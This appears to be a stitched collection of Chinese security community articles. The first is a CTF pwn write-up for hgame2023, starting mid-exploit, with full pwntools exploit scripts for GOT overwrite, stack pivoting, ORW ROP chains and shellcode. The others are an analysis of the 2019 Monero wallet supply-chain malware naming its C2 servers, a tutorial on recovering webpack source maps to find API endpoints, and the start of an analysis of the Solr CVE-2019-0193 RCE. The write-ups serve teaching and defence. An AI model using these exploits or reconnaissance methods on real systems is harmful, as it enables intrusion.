csu(0, 1, read_got, 0, bss_base, 16, main_addr)
sh.send(p64(execve_addr) + b'/bin/sh\x00')
sh.recvuntil(b'Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, bss_base + 8, 0, 0, main_addr)
sh.interactive()
# 覆写got表与数组越界
## 覆写got表原理
.got.plt
相当于.plt的GOT全局偏移表，你可以简单理解成，它存放的就是外部函数的入口地址。也就是说，如果我们将这个函数的地址改成另外一个函数的地址，当程序调用该函数时，实际上会调用到另外一个函数。
## 数组越界原理
数组的下标越过了最大索引值的时候，所指向的指针就会指向更高地址的栈空间段，所以我们就能够实现任意改写栈空间上的内容，同理，当下标为负数的时候指针会指向更低地址的栈空间段
#### hgame2023 week1 choose_the_seat
##### checksec
RELRO:Partial RELRO-->got表可修改
##### ida
##### 运行程序
可以看到输入负数也可以，确定有数组越界
##### 思路
* 可以看到.got.plt表离bss段的距离比较近，所以考虑用数组越界写来改变.got.plt表
* seat的地址为0x4040A0
* exit的.got.plt表的地址为0x404040
* exit在seat的低地址处，正好用负数来覆写
* 两者之差为96，96/16=6，所以用-6可以改变exit
* 把exit改成_start后可以实现程序的无限循环
* 同时我们可以知道exit与read地址相差16
* 在发送完-6时断一下，查看一下got表
* 成功改变，从这里也可以看出read函数的后三位为fc0，后三位是不会变的
* 所以写入\xc0不改变read的地址
* 然后就可以接收到read的真实地址
* one_gadget libc-2.31.so
* 收到后用one_gadget搜索一下可用的shell
* 然后写入-6把退出变成执行shell就行了
* 这个shell应该是要碰运气，那个可以用哪个
第一个shell不行
第二个可以
##### exp
from pwn import *
#from LibcSearcher import *
context(os="linux",arch="amd64",log_level='debug')
local=1
if local==1:
io=remote('week-1.hgame.lwsec.cn',32448)
else:
io=process("./pwn")
def duan():
gdb.attach(io)
pause()
elf=ELF("./pwn")
libc=ELF("./libc-2.31.so")
start=elf.symbols["_start"]
print("start-->",start)
io.recvuntil(b'one.\n')
io.sendline(b'-6')
io.recvuntil(b"name\n")
io.send(p64(start))
#duan()
io.recvuntil(b'one.\n')
io.sendline(b'-7')
io.recvuntil(b"name\n")
io.send(b'\xc0')
read_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('read-->',hex(read_addr))
libc_base=read_addr-libc.symbols['read']
print('libc_base-->',hex(libc_base))
one_gadget=[0xe3afe,0xe3b01,0xe3b04]
shell=libc_base+one_gadget[1]
io.recvuntil(b'one.\n')
io.sendline(b'-6')
io.recvuntil(b"name\n")
io.send(p64(shell))
io.interactive()
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
# 简单的栈迁移
## 栈迁移原理
参考链接[PWN！栈迁移原理](https://cloud.tencent.com/developer/article/1601192
"PWN！栈迁移原理")
将ebp转移到bss或data段，在bss段或data段构造gadget然后在这里执行
* leave相当于mov esp,ebp pop ebp;
* ret相当于pop eip;
* mov esp,ebp 让esp指向ebp的地址
* pop ebp 把栈顶的值弹到ebp寄存器里，此时ebp就指向了fake ebp1
* 如果在fake ebp1处写入fake ebp2的地址，然后再来一步leave就可以让ebp指向fake ebp2
## 沙盒机制
就是限制系统调用，pwn题一般限制execve的系统调用
## 开启沙盒的两种方式
##### prctl函数调用
int sub_1269()
{
__int16 v1; // [rsp+0h] [rbp-70h] BYREF
__int16 *v2; // [rsp+8h] [rbp-68h]
__int16 v3; // [rsp+10h] [rbp-60h] BYREF
char v4; // [rsp+12h] [rbp-5Eh]
char v5; // [rsp+13h] [rbp-5Dh]
int v6; // [rsp+14h] [rbp-5Ch]
__int16 v7; // [rsp+18h] [rbp-58h]
char v8; // [rsp+1Ah] [rbp-56h]
char v9; // [rsp+1Bh] [rbp-55h]
int v10; // [rsp+1Ch] [rbp-54h]
__int16 v11; // [rsp+20h] [rbp-50h]
char v12; // [rsp+22h] [rbp-4Eh]
char v13; // [rsp+23h] [rbp-4Dh]
int v14; // [rsp+24h] [rbp-4Ch]
__int16 v15; // [rsp+28h] [rbp-48h]
char v16; // [rsp+2Ah] [rbp-46h]
char v17; // [rsp+2Bh] [rbp-45h]
int v18; // [rsp+2Ch] [rbp-44h]
__int16 v19; // [rsp+30h] [rbp-40h]
char v20; // [rsp+32h] [rbp-3Eh]
char v21; // [rsp+33h] [rbp-3Dh]
int v22; // [rsp+34h] [rbp-3Ch]
__int16 v23; // [rsp+38h] [rbp-38h]
char v24; // [rsp+3Ah] [rbp-36h]
char v25; // [rsp+3Bh] [rbp-35h]
int v26; // [rsp+3Ch] [rbp-34h]
__int16 v27; // [rsp+40h] [rbp-30h]
char v28; // [rsp+42h] [rbp-2Eh]
char v29; // [rsp+43h] [rbp-2Dh]
int v30; // [rsp+44h] [rbp-2Ch]
__int16 v31; // [rsp+48h] [rbp-28h]
char v32; // [rsp+4Ah] [rbp-26h]
char v33; // [rsp+4Bh] [rbp-25h]
int v34; // [rsp+4Ch] [rbp-24h]
__int16 v35; // [rsp+50h] [rbp-20h]
char v36; // [rsp+52h] [rbp-1Eh]
char v37; // [rsp+53h] [rbp-1Dh]
int v38; // [rsp+54h] [rbp-1Ch]
__int16 v39; // [rsp+58h] [rbp-18h]
char v40; // [rsp+5Ah] [rbp-16h]
char v41; // [rsp+5Bh] [rbp-15h]
int v42; // [rsp+5Ch] [rbp-14h]
__int16 v43; // [rsp+60h] [rbp-10h]
char v44; // [rsp+62h] [rbp-Eh]
char v45; // [rsp+63h] [rbp-Dh]
int v46; // [rsp+64h] [rbp-Ch]
__int16 v47; // [rsp+68h] [rbp-8h]
char v48; // [rsp+6Ah] [rbp-6h]
char v49; // [rsp+6Bh] [rbp-5h]
int v50; // [rsp+6Ch] [rbp-4h]
prctl(38, 1LL, 0LL, 0LL, 0LL);
v3 = 32;
v4 = 0;
v5 = 0;
v6 = 4;
v7 = 21;
v8 = 0;
v9 = 9;
v10 = -1073741762;
v11 = 32;
v12 = 0;
v13 = 0;
v14 = 0;
v15 = 53;
v16 = 7;
v17 = 0;
v18 = 0x40000000;
v19 = 21;
v20 = 6;
v21 = 0;
v22 = 59;
v23 = 21;
v24 = 0;
v25 = 4;
v26 = 1;
v27 = 32;
v28 = 0;
v29 = 0;
v30 = 36;
v31 = 21;
v32 = 0;
v33 = 2;
v34 = 0;
v35 = 32;
v36 = 0;
v37 = 0;
v38 = 32;
v39 = 21;
v40 = 1;
v41 = 0;
v42 = 16;
v43 = 6;
v44 = 0;
v45 = 0;
v46 = 2147418112;
v47 = 6;
v48 = 0;
v49 = 0;
v50 = 0;
v1 = 12;
v2 = &v3;
return prctl(22, 2LL, &v1);
}
##### seccomp库函数
__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]
// 两个重要的宏，SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
// seccomp初始化，参数为0表示白名单模式，参数为0x7fff0000U则为黑名单模式
v1 = seccomp_init(0LL);
if ( !v1 )
{
puts("seccomp error");
exit(0);
}
// seccomp_rule_add添加规则
// v1对应上面初始化的返回值
// 0x7fff0000即对应宏SCMP_ACT_ALLOW
// 第三个参数代表对应的系统调用号，0-->read/1-->write/2-->open/60-->exit
// 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数，传0不做任何限制
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);
// seccomp_load - Load the current seccomp filter into the kernel
if ( seccomp_load(v1) < 0 )
{
// seccomp_release - Release the seccomp filter state
// 但对已经load的过滤规则不影响
seccomp_release(v1);
puts("seccomp error");
exit(0);
}
return seccomp_release(v1);
}
##### seccomp-tools识别沙盒
seccomp-tools识别沙盒
#### hgame2023 week1 orw
##### checksec
##### ida
可以看文字提示有沙盒
或者点进去看看
int sandbox()
{
__int16 v1; // [rsp+0h] [rbp-40h] BYREF
__int16 *v2; // [rsp+8h] [rbp-38h]
__int16 v3; // [rsp+10h] [rbp-30h] BYREF
char v4; // [rsp+12h] [rbp-2Eh]
char v5; // [rsp+13h] [rbp-2Dh]
int v6; // [rsp+14h] [rbp-2Ch]
__int16 v7; // [rsp+18h] [rbp-28h]
char v8; // [rsp+1Ah] [rbp-26h]
char v9; // [rsp+1Bh] [rbp-25h]
int v10; // [rsp+1Ch] [rbp-24h]
__int16 v11; // [rsp+20h] [rbp-20h]
char v12; // [rsp+22h] [rbp-1Eh]
char v13; // [rsp+23h] [rbp-1Dh]
int v14; // [rsp+24h] [rbp-1Ch]
__int16 v15; // [rsp+28h] [rbp-18h]
char v16; // [rsp+2Ah] [rbp-16h]
char v17; // [rsp+2Bh] [rbp-15h]
int v18; // [rsp+2Ch] [rbp-14h]
__int16 v19; // [rsp+30h] [rbp-10h]
char v20; // [rsp+32h] [rbp-Eh]
char v21; // [rsp+33h] [rbp-Dh]
int v22; // [rsp+34h] [rbp-Ch]
v3 = 32;
v4 = 0;
v5 = 0;
v6 = 0;
v7 = 21;
v8 = 2;
v9 = 0;
v10 = 59;
v11 = 21;
v12 = 1;
v13 = 0;
v14 = 322;
v15 = 6;
v16 = 0;
v17 = 0;
v18 = 2147418112;
v19 = 6;
v20 = 0;
v21 = 0;
v22 = 0;
v1 = 5;
v2 = &v3;
prctl(38, 1LL, 0LL, 0LL, 0LL);
return prctl(22, 2LL, &v1);
}
##### seccomp-tools识别沙盒
可以看到限制了execve的系统调用
##### 思路
* 限制execve的系统调用，所以使用open read write
* 又因为只溢出了0x30的字节，然后中间还有8字节的pre ebp
* 所以只有0x28的字节可以利用，空间太小没法open read write
* 所以使用栈迁移
##### 构造gadget
* 这里用bss段构造，但是不能用bss段的起始位置，好像是因为把栈转移到这个地方后，会自动向下(低地址）处申请一块空间作为栈的部分，但bss段的低地址处的数据是很重要的，不能被改变，改变程序就会崩溃，所以此时用的地址一般是bss的起始位置加上一个比较大的数
* 所以buf=elf.bss()+0x150
* 这里是先构造了一段rop链(gets(buf))以便于在buf处写入东西
* 然后构造open read write
* open('buf+0x88',0)
* read(3,buf+0x90,0x100) 第一次打开文件用3
* puts(buf+0x90)
##### buf
经计算得到buf的地址为0x4041b0
从ida上看，这个地址已经超出了bss段的地址
但这一段依然可读可写可执行，所以应该是在data段
##### orw
payload=p64(pop_rdi)+p64(buf+0x88)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(buf+0x90)+p64(0)
payload+=p64(pop_rdx)+p64(0x100)+p64(read)
payload+=p64(pop_rdi)+p64(buf+0x90)+p64(puts_plt)+b'flag\x00aaa'
这里flag字符串是自己写入的，open读取这个位置的flag，然后read在下个地址把它读入，最后puts输出flag
##### 栈迁移
* payload=cyclic(0x100)+p64(buf-0x8)+p64(leave_ret)
* 迁移到buf的上个低地址处
* leave_ret随便从一个函数后面找一个就行
##### exp
from pwn import *
context(os="linux",arch="amd64",log_level='debug')
elf=ELF("./stack_pivoting")
libc=ELF("./libc-2.31.so")
local=1
if local==1:
io=remote('week-1.hgame.lwsec.cn',30891)
else:
io=process("./stack_pivoting")
def duan():
gdb.attach(io)
pause()
pop_rdi=0x401393
pop_rsi_r15=0x401391
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start=elf.symbols['_start']
read=elf.plt['read']
payload=cyclic(0x100+0x8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start)
io.sendafter(b'task.\n',payload)
puts_got=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
libc_base=puts_got-libc.symbols['puts']
print('libc_base-->'+hex(libc_base))
buf=elf.bss()+0x150
gets=libc_base+libc.symbols['gets']
payload=cyclic(0x100+0x8)+p64(pop_rdi)+p64(buf)+p64(gets)+p64(start)
io.sendafter(b'task.\n',payload)
open=libc_base+libc.symbols['open']
pop_rdx=libc_base+0x142c92
#open('buf+0x88',0)
#read(3,buf+0x90,0x100) 第一次打开文件用3
#puts(buf+0x90)
payload=p64(pop_rdi)+p64(buf+0x88)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(buf+0x90)+p64(0)
payload+=p64(pop_rdx)+p64(0x100)+p64(read)
payload+=p64(pop_rdi)+p64(buf+0x90)+p64(puts_plt)+b'flag\x00aaa'
io.sendline(payload)
leave_ret=0x4012e
payload=cyclic(0x100)+p64(buf-0x8)+p64(leave_ret)
io.sendafter(b'task.\n',payload)
io.recv()
'''
0x000000000040138c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040138e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401390 : pop r14 ; pop r15 ; ret
0x0000000000401392 : pop r15 ; ret
0x000000000040138b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040138f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040117d : pop rbp ; ret
0x0000000000401393 : pop rdi ; ret
0x0000000000401391 : pop rsi ; pop r15 ; ret
0x000000000040138d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x00000000004012a8 : ret 0x2be
'''
# orw和ret2shellcode
#### hgame week1 simple_shellcode
##### checksec
保护全开
##### ida
##### seccomp-tools识别沙盒
##### 思路
mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL)
这里的mmap应该是向0xCAFE0000LL申请了一段0x1000uLL的空间，7代表可读可写可执行
因为read只读入0x10个字节，空间太小
* 也可以看到后面调用了rdx，所以可以通过改变rdx再次调用read
* 然后就在原来read函数读入地址的后面去写入shellcode
* 64位下read的系统调用号是0
* read(0,0x0xCAFE0010+0xxxx,0x1000)
* rax=0,rdi=0,rsi=0x0xCAFE0010+0xxxx,rdx=0x1000
##### gdb
直接断在地址上
应该是出了什么错误
调试到call rdx的位置看看
AX 0x0
RBX 0x5555555553d0 (__libc_csu_init) ◂— endbr64
RCX 0x7ffff7ee1d3e (prctl+14) ◂— cmp rax, -0xfff
RDX 0xcafe0000 ◂— 0xa6e /* 'n\n' */
RDI 0x16
RSI 0x2
R8 0x0
R9 0x0
R10 0x7ffff7ee1d3e (prctl+14) ◂— cmp rax, -0xfff
R11 0x217
R12 0x555555555100 (_start) ◂— endbr64
R13 0x7fffffffe060 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdf70 ◂— 0x0
RSP 0x7fffffffdf60 —▸ 0x7fffffffe060 ◂— 0x1
RIP 0x5555555553b9 (main+131) ◂— call rdx
所以写一下汇编
* read(0,0x0xCAFE0010+0xxxx,0x1000)
* rax=0,rdi=0,rsi=0x0xCAFE0010+0xxxx,rdx=0x1000
* RAX 0x0
* RDI 0x16
* RSI 0x2
* RDX 0xcafe0000
shellcode=asm('''
mov rdi,rax;
mov rsi,0xCAFE0010;
syscall;
nop;
''')
##### orw
shellcode= asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
##### exp
shellcode= asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''') | 社区文章 |
**作者：启明星辰ADLab
公众号：<https://mp.weixin.qq.com/s/3B9e0FltRSYWyu96NQp5Tw>**
### 一、攻击背景
2019年11月19日，门罗币官方github上出现对门罗币release版与官网上出现不一致问题的issues，其中提及出现问题的门罗币版本为最新版0.15.0.0。且门罗币官方承认其官网受到黑客入侵，使得其提供的门罗币客户端存在窃取用户关键信息的事实，这也是首次被发现的直接针对加密货币客户端的供应链攻击。
门罗币官方声明，恶意攻击发生在11月18日，11月19日攻击被发现并进行了修复。通过对已经确认的感染版本的hash 进行比对，发现客户端组件monero-wallet-cli被黑客篡改，其中hash为：`5decc690a63aab004bae261630980e631b9d37a0271bbe0c5b477feffcd3f8c2`的文件被替换为：`7ab9afbc5f9a1df687558d570192fbfe9e085712657d2cfa5524f2c8caccca31`。当天，reddit上也出现了使用者因为安装了官方网站的最新release版本而丢失了价值7000美元门罗币的实际案例。
事件披露的同时，我们也开始对其进行一定的关注，并对涉及该次攻击的恶意代码进行了分析和追踪。从分析的结果来看，本次攻击的黑客将门罗币源码中cryptonote::simple_wallet()类进行篡改，涉及的文件有：
monero/src/simplewallet/simplewallet.h
monero/src/simplewallet/simplewallet.cpp
黑客利用以上文件实现了窃取门罗币seed的功能。黑客不会直接窃取门罗币的钱包文件，而是窃取门罗币seed以及盗取门罗币货币的所有权，因此盗取之后需要使用seed来恢复钱包，以提取其中的门罗币。此外，恶意代码内置有三个C&C，分别为`node.hashmonero.com`、`node.xmrsupport.co`和`45.9.148.65`。其中，`node.hashmonero.com`为默认的CC服务器，而`node.xmrsupport.co`和`45.9.148.65`作为后备CC使用。从当前的域名解析情况来看，`node.xmrsupport.co`和`45.9.148.65`指向同一台服务器，主CC
`node.hashmonero.com`所指向的IP为`91.210.104.245`。所有CC都采用端口18081作为seed回传的服务端口。
本文首先对被篡改恶意monero-wallet-cli文件做细致的分析，接着试图对黑客的基础设置进行追踪分析，发现了黑客所使用过的其他基础设施。由于门罗币官方对于该事件仍在调查之中，所以对于黑客是如何攻击进入门罗币官方网站的具体细节外界并不知晓，我们会持续关注该事件的进展。
### 二、样本分析：
该样本主要窃取门罗币的seed数据，门罗币seed由25个单词组成，用来证明拥有者对一个门罗币地址里面的货币所有权，也可用于恢复钱包。seed类似于如下字符串：
juicy sorry lukewarm lively fitting pulp irony nobody ought pelican sanity fudge vibrate ozone nearby upright addicted foxes arises alerts sorry lobster inmate karate ozone
该样本以源码为基础，在函数`cryptonote::simple_wallet::print_seed`函数中加入了恶意函数`cryptonote::simple_wallet::send_seed`。
该函数将获取的seed信息发送给`node.hashmonero.com`，端口为18081，其中seed信息存储在”memo=”参数中。该函数主要通过调用`cryptonote::simple_wallet::send_to_cc`函数来实现seed的发送。发送的方式是通过https
POST方式实现。
在send_to_cc函数中，其将CC服务器的端口硬编码在代码中，通过SSL协议将窃取的门罗币seed发送给指定的CC服务器(`node.hashmonero.com`)。
如果该CC无法使用，恶意代码则会首先采用后备C&C `node.xmrsupport.co`进行连接并将窃取的seed回传至CC服务器上。
如果后备C&C还是无法使用，则采用后备服务器"45.9.148.65"作为窃取seed的回传CC。
同时，被篡改的函数send_seed还被额外添加到了monero-wallet-cli文件的其他三个地方以确保在各种使用操作中能够更有效地获取seed。这三个地方分别为钱包创建函数`cryptonote::simple_wallet::new_wallet()`，钱包打开函数`cryptonote::simple_wallet::open_wallet`，以及同名重载函数。
（1）在new_wallet()函数中，补丁函数主要用于截获钱包创建过程，一旦钱包创建成功，其钱包相关的seed就会立即发送给C&C。
（2）open_wallet函数主要用于打开一个门罗币钱包文件(包括由硬件钱包提供的设备打开)，该恶意代码同样对该函数进行篡改，以便钱包被加载之后，将其发送到C&C服务器上。
（3）第三处是加入到了同名的重载函数`cryptonote::simple_wallet::print_seed(bool encrypted)`
中，在该函数中，其窃取由函数`tools::wallet2::get_multisig_seed`和`tools::wallet2::get_seed`所得到的seed。该同名重载函数主要由`cryptonote::simple_wallet::encrypted_seed`和`cryptonote::simple_wallet::seed`两个函数调用。encrypted_seed用于显示加密后的门罗币seed，而seed函数用于查看未加密的门罗币seed。这意味着，任何外部钱包文件的查看行为都会被劫持，从而导致与钱包相关的seed遭到黑客窃取。
### 三、黑客追踪与溯源
我们在受感染的门罗币客户端中发现硬编码的CC服务器地址，其中有2个域名和1个IP地址，硬编码的CC信息如下图所示：
其中后两个硬编码CC目前指向同一个服务器。
为了对黑客使用的设施有进一步的掌握，我们随后对这几个硬编码的CC进行了详细的分析。
首先，我们来看C&C
`node.hashmonero.com`，这个C&C是恶意代码的默认C&C地址。该C&C当前被解析到IP：91.210.104.245。从whois信息中我们发现该域名是2019年11月14日注册的，且域名申请的公司字段被保护。域名查询结果如下图所示：
此外还可以看出该域名做了隐私保护，很难对黑客的信息再进行进一步的追踪，但是我们从该域名的注册时间可以看出黑客计划实施攻击时间也应该不会太长久。而从域名node.xmrsupport.co的whois信息中得知其创建于2019年11月15日。因此可以推断黑客生成攻击样本时，应该已经掌握了门罗币官方网站的漏洞及攻击方法。因而黑客的攻击计划也应该在2019年11月14日之前的就已经开始了，真正实施攻击就在随后几天(11月15日-18日之间)。
通过IP地址45.9.148.65解析的历史，还发现2019年11月16日域名hashmonero.com被解析到此IP地址上,在攻击被发现当天2019年11月19日域名node.xmrsupport.co才被解析到该IP。
此前在github上有人利用浏览器访问https://91.210.104.245:18081页面会被重定向到https://monerohash.com/?r=from_node，不过在11月20日21时左右，由于被大量用户举报，CC服务器91.210.104.245已经被主机提供商停止服务。经查询，我们发现91.210.104.245为俄罗斯主机服务商www.hostkey.ru所有，IP地址的whois信息如下图所示：
通过VT对IP
：91.210.104.245的历史记录进行分析，发现该服务器曾于2017年7月24日指向一个域名bitcoinbotreview.com，在两年以后才被解析到当前的IP
：91.210.104.245。
该域名虽然只有卡巴斯基一款杀毒软件报毒，但从域名关联出的样本可以看出该服务器曾被作为另外一款恶意代码的CC服务器。从域名本身的含义上看，似乎应该与比特币相关恶意攻击有关。此处我们也对这个关联的样本进行了简要分析。
VT上的关联样本原始名称为“documentation.doc.exe”。
在对样本“documentation.doc.exe”进行分析后，我们发现其是一个使用Autoit3编写的恶意代码加载器（加载器内置有两个C&C：bitcoinbotreview.com和bitcoinautobot.com），其从链接http://bitcoinbotreview.com/mailpv.exe下载后续文件并加载执行。但是在我们分析时，该链接已经失效，但通一些特征我们找到这个链接的原始文件。该文件是一款窃密型的木马，其伪装成NirSoft公司开发的邮箱密码恢复软件mailpv.exe：
由于目前门罗币官方尚未有调查信息披露，所以我们这里仅仅做了一些初步追踪，但仍可以看出这是一起通过精心准备网络攻击，从黑客急于注册新域名并在注册后的2-3天内就开始进行攻击的情况来看，黑客应该是不久前发现了门罗币网站的漏洞，从而特意定制恶意程序以期能够及时兑现。
### 四、总结
通过该事件的分析我们可以看出，黑客并没有直接窃取数据量较大的门罗币钱包文件，取而代之的是窃取用户门罗币的seed，并使用SSL协议进行通信，使得攻击更加隐秘。由于窃取seed对用户账户的影响具有滞后性，因而，虽然目前仅有少数人报告了金钱损失的案例，但是不排除黑客已经窃取了相当数量的门罗币seed，只不过黑客目前还未进行兑现。
本次攻击事件再次给予我们安全警示，目前越来越多的黑客通过供应链攻击，利用用户对官方的信任，渗透进提供可信工具的网站并替换掉原始文件，以可信官网作为恶意代码的传播途径，提高攻击的成功率。因此我们提醒相关企业用户，加强自身的网络安全，定期进行网站的安全排查和加固，及时更新系统的安全补丁。
### 参考链接：
* <https://github.com/monero-project/monero/issues/6151>
* <https://www.reddit.com/user/moneromanz/>
* <https://bartblaze.blogspot.com/2019/11/monero-project-compromised.html>
* * * | 社区文章 |
## 1 - 安装 reverse-sourcemap
> 需要配置好[npm环境](https://www.runoob.com/nodejs/nodejs-npm.html) （runoob教程）
使用命令（需要代理） `npm install --global reverse-sourcemap` 进行安装
## 2 - 寻找xxx.js.map
> 如果有sourcemap的话，在js最后会有注释：
>
> `//# sourceMappingURL=xxxxxxx.js.map`
比如这里我要下载`MarketSearch.js.map`（`MarketSearch.js`是与站点同名的js，应该是主要的js文件）
* 在开发者工具中搜索`.js.map` （位置1）
* 找到`MarketSearch.js.map`所在的js （位置2）
* 找到对应的链`URL`（位置3）
* 一般来说，静态文件会挂载在当前域名下，但不排除其他站点挂载的情况，所以需要找到对应的`URL`，比如这里就不同站
* 这里`MarketSearch.js`的`URL`记为`[xxx.xxx/mulu/MarketSearch.js](http://xxx.xxx/mulu/MarketSearch.js)`
## 3 - 下载xxx.js.map并获取所有webpack打包文件
使用`curl -O http://xxx.xxx/mulu/MarketSearch.js.map`
或者直接访问`http://xxx.xxx/mulu/MarketSearch.js.map` 下载`MarketSearch.js.map`
使用命令`reverse-sourcemap --output-dir ./MarketSearch
MarketSearch.js.map`即可获取所有webpack打包文件
## 4 - 使用IDE/其他编辑器寻找接口
我这里使用的是vs code
直接使用全局搜索 左边侧边栏的搜索图标，或者`ctrl+shift+f`
### 4-1 搜索接口
搜索接口有两个方法：
一个是借鉴先验请求的`url`，这种情况需要我们可以访问到某些接口，比如非SSO的登录
另一个是直接搜索，这种情况大多是我们没法访问到当前站点的接口
#### 4-1-1 借鉴先验请求的`url`
比如我们访问的站点`xxx.xxx`存在登录接口，通过尝试，发现会调用`/MarketSearch/api/login`接口
那么我们可以通过不断删减来搜索接口`/MarketSearch/api/login`,`/api/login`,`/login`
可以看到，当我们删减到`/api/login`的时候，就可以找到接口对应的代码
这个接口是可以调用的，但是发现其定义的接口与实际访问的接口不同（第五部分解释，这里使用了动态定义的接口）
#### 4-1-2 直接搜索
直接搜索有两种方法，根据请求方法，或者猜测命名规则进行搜索
##### 4-1-2-1 根据请求方法搜索接口
接口大多是通过`get/post`方法进行访问的，所以这是一个很好的关键词
通过请求方法，可以搜索到动态定义的接口（第五部分），避免找不到接口的问题。
而且，如果存在请求方法重写的代码，通过请求方法搜索可以发现这些代码的定义。
`post`
`get`
##### 4-1-2-1 根据猜测命名规则搜索接口
一般来说，`admin`,`superadmin`,`manage`之类的关键词比较常见
此外，还可以根据站点名，可调用api命名规则，js命名规则进行搜索。这个站点没有这样的接口，就不举例了。
## 5 - 寻找动态定义的接口
刚好这个站点存在动态定义的接口（直接明文写在js代码中的静态接口相反）：`MarketSearch/api/login`
，上面我们通过搜索，只发现了`/MarketSearch/api/user/login`接口，这里介绍一下如何寻找该接口。
首先搜索`login`，可以看到在`index.ts`中对登录进行了定义
查看`index.ts`,可以看到这里定义了用到的视图，继续跟踪`Login`视图，命名为`Login_1`，路径在`./Login`
打开`Login.tsx`，可以看到根据`vse_client_1.defaultMainView.Login`视图，创建了对应的元素，`vse_client_1`定义为`vse-client`
打开`vse-client`目录，寻找`defaultMainView`视图的定义
跟踪`Login`视图，可以看到`api_1`路径在`./api`，且`Login`视图定义了`游客登录`和`用户登录`两个登录方式，这里跟踪`用户登录`登录方法
`用户登录`使用了`LoginModal`模态框
跟踪`LoginModal`模态框，可以看到登录的行为通过`yield api_1.api.login(input)`来实现
`api_1 = ./api`，`input`则是`ItemKey`生成的表单中用户填写的数据（`username & password`）
跟踪`api_1.api.login`
大致说一下这里的逻辑：
* key是键值，比如这里调用的是`api.login`，则`key === login`
* 对于每一个`vse_share_1.Api`定义的接口
* 如果传入的`key`与其中一个接口相同，且不为`constructor`（通过`prototype`原型读取，所以需要排除构造函数），则向下继续
* `login`传入`__awaiter_`
* 通过`axios_1.default.post(`/${NAMESPACE}/${vse_share_1.ShareConfig.apiPrefix}/${key}`, args)`发起请求
* `${NAMESPACE} === MarketSearch`
* 查看命名空间的定义
* 跟踪`../share`
* `${vse_share_1.ShareConfig.apiPrefix} === api`
* 跟踪`vse-share`，寻找`ShareConfig`
* `${key} === login`
* `args === input`，即，由`ItemKey`生成的json`{username:"xxx",password:"xxx"}`
这种情况下，通过拼接预定义参数和传入的`api`名称，动态生成`url`路径，避免了静态存储`api`路径，使得寻找`api`接口需要花费的精力大大提升。（web安全狗流泪） | 社区文章 |
### 概述
近日，Apache Solr官方发布Apache
Solr存在一个远程代码执行漏洞（CVE-2019-0193），攻击者可利用dataConfig参数构造恶意请求，导致执行任意代码，下面简单分析一下这个漏洞。
官方通告：<https://issues.apache.org/jira/browse/SOLR-13669>
### 前置概念
#### Dataimport
Solr支持从Dataimport导入自定义数据，dataconfig需要满足一定语法，参考
* [https://lucene.apache.org/solr/guide/6\\_6/uploading-structured-data-store-data-with-the-data-import-handler.html](https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html)
* <https://cwiki.apache.org/confluence/display/solr/DataImportHandler>
其中ScriptTransformer可以编写自定义脚本，支持常见的脚本语言如Javascript、JRuby、Jython、Groovy和BeanShell
ScriptTransformer容许用脚本语言如Javascript、JRuby、Jython、Groovy和BeanShell转换，函数应当以行（类型为Map\<String,Object\>）为参数，可以修改字段。脚本应当写在数据仓库配置文件顶级的script元素内，而转换器属性值为script:函数名。
使用示例：
<dataconfig>
<script><![CDATA[
function f2c(row) {
var tempf, tempc;
tempf = row.get('temp_f');
if (tempf != null) {
tempc = (tempf - 32.0)*5.0/9.0;
row.put('temp_c', temp_c);
}
return row;
}
]]>
</script>
<document>
<entity name="e1" pk="id" transformer="script:f2c" query="select * from X">
</entity>
</document>
</dataConfig>
#### Nashorn引擎
在Solr中解析js脚本使用的是Nashorn引擎，可以通过Java.typeAPI在JavaScript中引用，就像Java的import一样，例如：
var MyJavaClass = Java.type('my.package.MyJavaClass');
var result = MyJavaClass.sayHello("Nashorn");
print(result);
### 漏洞分析
Solr在处理dataimport请求时，首先进入dataimport/DataImportHandler的handleRequestBody方法，当前请求的command为full-import，因此通过maybeReloadConfiguration重新加载配置
在maybeReloadConfiguration中通过params.getDataConfig()判断了post的数据(dataConfig)是否为空，如果不是则通过loadDataConfig来加载
